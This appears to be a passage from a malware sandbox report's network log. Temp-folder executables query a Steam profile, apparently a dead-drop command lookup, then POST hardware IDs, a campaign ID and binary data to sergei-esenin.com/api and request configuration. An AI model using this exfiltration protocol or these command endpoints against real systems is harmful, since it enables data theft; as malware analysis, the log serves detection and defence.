cfL4;desc="?proto=TCP&rtt=1188&sent=9&recv=13&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9818&delivery_rate=2456318&cwnd=251&unsent_bytes=0&cid=9496e7c2f39b3d80&ts=1052&x=0"
2024-10-21 08:47:49 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50109	104.102.49.254	443	8152	C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:48 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-21 08:47:49 UTC	1891	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://ste [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 21 Oct 2024 08:47:48 GMT Content-Length: 25258 Connection: close Set-Cookie: sessionid=9c8b8ceb252eca14527eb7fa; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd883ccb3237fa39d2837163d0f38217b; Path=/; Secure; HttpOnly; SameSite=None
2024-10-21 08:47:49 UTC	14493	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-21 08:47:49 UTC	10765	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 62 75 6c 67 61 72 69 61 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 62 75 6c 67 61 72 69 61 6e 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e d0 91 d1 8a d0 bb d0 b3 d0 b0 d1 80 d1 81 d0 ba d0 b8 20 28 42 75 6c 67 61 72 69 61 6e 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 63 7a 65 63 68 22 20 6f 6e 63 6c 69 63 Data Ascii: <a class="popup_menu_item tight" href="?l=bulgarian" onclick="ChangeLanguage( 'bulgarian' ); return false;"> (Bulgarian)</a><a class="popup_menu_item tight" href="?l=czech" onclic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50113	104.102.49.254	443	4428	C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:50 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-21 08:47:51 UTC	1891	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://ste [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 21 Oct 2024 08:47:50 GMT Content-Length: 25258 Connection: close Set-Cookie: sessionid=978b3700923eeab84fb1977e; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd883ccb3237fa39d2837163d0f38217b; Path=/; Secure; HttpOnly; SameSite=None
2024-10-21 08:47:51 UTC	14493	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-21 08:47:51 UTC	10765	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 62 75 6c 67 61 72 69 61 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 62 75 6c 67 61 72 69 61 6e 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e d0 91 d1 8a d0 bb d0 b3 d0 b0 d1 80 d1 81 d0 ba d0 b8 20 28 42 75 6c 67 61 72 69 61 6e 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 63 7a 65 63 68 22 20 6f 6e 63 6c 69 63 Data Ascii: <a class="popup_menu_item tight" href="?l=bulgarian" onclick="ChangeLanguage( 'bulgarian' ); return false;"> (Bulgarian)</a><a class="popup_menu_item tight" href="?l=czech" onclic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50115	172.67.206.204	443	7704	C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:52 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=JMeye5BWJnsQ8aDxE6nf3zaPx8nKyzkpPxnbMUjw584-1729500459-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: sergei-esenin.com
2024-10-21 08:47:52 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:52 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-21 08:47:52 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gok4jmn9hpvdnnv2pehvr3036k; expires=Fri, 14 Feb 2025 02:34:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2K4922Re4KCwmlwm338xSW8llKlQslH5bw7bTP30WuCy1MZ2SfO5rGozr9wIf1wnyRhwIUZprmYJjF6OhlNEdVOAmTpysUmlPKq9XjB61gCK5J7pmuqoHEaelQi4VBG2Vt1FJw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffc3f4e3d4774-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1142&sent=18&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21494&delivery_rate=2492254&cwnd=236&unsent_bytes=0&cid=f3a98c2ab58c35ac&ts=804&x=0"
2024-10-21 08:47:52 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50116	172.67.206.204	443	3940	C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:52 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=AXzYAsDRsZFl363Fljb_Vj1OIM3bXbU.3Gbezhq7d8U-1729500450-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 29575 Host: sergei-esenin.com
2024-10-21 08:47:52 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:52 UTC	14244	OUT	Data Raw: 55 08 2a 40 d5 15 bc a3 14 96 1b 59 e7 f3 0d 82 16 5a 1a 87 f0 c2 a0 61 e1 bb b5 85 a4 a2 be b7 6e dc 5a 89 c9 6f 0d 37 33 24 7c f5 12 29 1e 50 51 4b c2 da c6 6e f9 6d 37 3e ba 07 00 b9 05 ae d7 ff 18 35 e6 4f bc 17 8e 45 0f d6 01 a0 4b 3f 94 36 b8 fd e4 f8 0f 56 d3 cd b0 aa 2c 9e 69 9f 3c 30 65 fc da 99 98 67 d6 0e ab 01 57 a8 02 5c b2 72 fa 6f b6 8b 13 60 23 e0 52 ff 5c be b1 7c f8 39 50 9b 91 c4 64 4f 7a da a5 48 a6 f2 13 7a ff 2d 6d e5 a3 21 ea e3 81 af 6c 1b c9 b0 ee 55 5d 6c 2d db 7e f1 e2 41 b1 15 5d 10 5b 91 fd c6 e9 02 fb e4 47 49 d7 e3 a6 24 cc 4c 5b ba d2 84 c8 39 72 0e d2 2e c7 91 74 33 43 5d 72 82 d2 f6 be 01 ec 07 3b 22 ae eb a6 0f cd bf 2b 82 d4 fa 1e 05 5f 0a 7c 03 d4 78 e1 e6 14 e6 bf 35 a6 cb 03 6d fc 84 44 af cf 09 fa 6f 6d 3b cf c3 df Data Ascii: U*@YZanZo73$\|)PQKnm7>5OEK?6V,i<0egW\ro`#R\\|9PdOzHz-m!lU]l-~A][GI$L[9r.t3C]r;"+_\|x5mDom;
2024-10-21 08:47:53 UTC	1027	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=stlijgva26ldaqgpjr3idh46v1; expires=Fri, 14 Feb 2025 02:34:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JnK8X0SFikNCqE%2FUQ6ix6pgNbvxKGhtCobo%2Fw5BoHGjeLTULURWTPrp%2Fa%2F%2BU2ce698M9EciH1MAw7rGJzZdOJ8PU8bgjq3z7tN2frgm9%2B8mtw2i1HkVk%2FpSgAw7pIfrT9cOOeg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffc41ef72474a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1814&sent=14&recv=37&lost=0&retrans=0&sent_bytes=2845&recv_bytes=30649&delivery_rate=1559504&cwnd=250&unsent_bytes=0&cid=f92417ca1d50ff75&ts=793&x=0"
2024-10-21 08:47:53 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50117	172.67.206.204	443	6316	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:52 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=3JeFFmIqrglsftFHNCl0c56gP6GNbVF2QtgCiUsDkWs-1729500453-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1354 Host: sergei-esenin.com
2024-10-21 08:47:52 UTC	1354	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:53 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t1si40q3s6228geft0c9ulv180; expires=Fri, 14 Feb 2025 02:34:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1skiazqc7JPnZyLHfBt3OUrC9TLRkKNAs%2FNsBtywCiT%2FzdY2ZY4L0YxWgtAaM3fE%2FMRRUIQa2di3uwWOt%2BseBrNN3ddyPbYFoSlhG%2FY4fOZ%2FGPkHtXEQ9FUGFJRhngXcNG8flQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffc43ec066c54-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1167&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2361&delivery_rate=2729500&cwnd=251&unsent_bytes=0&cid=da88ff4452862070&ts=444&x=0"
2024-10-21 08:47:53 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50118	172.67.206.204	443	7704	C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:53 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=JMeye5BWJnsQ8aDxE6nf3zaPx8nKyzkpPxnbMUjw584-1729500459-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1332 Host: sergei-esenin.com
2024-10-21 08:47:53 UTC	1332	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D1971A1CD62E1B8D4C166F146C215A77--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-21 08:47:56 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:47:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=80i31d3esjl2kn7djkgup0c9l1; expires=Fri, 14 Feb 2025 02:34:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZAnCBHqA%2FjdnmLJx8hmul1%2BOb01JbpMOoB1Dk4b8PCqIsZ61sL27%2FJWWVRhV%2BwtlMRXa1Iy0HSad0ntteHcXe%2FgmK91Ta%2BoQL6lr1YyIwol97CO4sHMLrv2WdqahM9hhmVZ31w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d5ffc4a994b3ac4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1185&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2339&delivery_rate=2462585&cwnd=251&unsent_bytes=0&cid=abb12493400dbdcb&ts=2754&x=0"
2024-10-21 08:47:56 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 0d 0a Data Ascii: 11ok 155.94.241.186
2024-10-21 08:47:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50120	172.67.206.204	443	3940	C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 08:47:54 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=AXzYAsDRsZFl363Fljb_Vj1OIM3bXbU.3Gbezhq7d8U-1729500450-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-21 08:47:54 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 44 31 39 37 31 41 31 43 44 36 32 45 31 42 38 44 34 43 31 36 36 46 31 34 36 43 32 31 35 41 37 37 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=D1971A1CD62E1B8D4C166F146C215A77
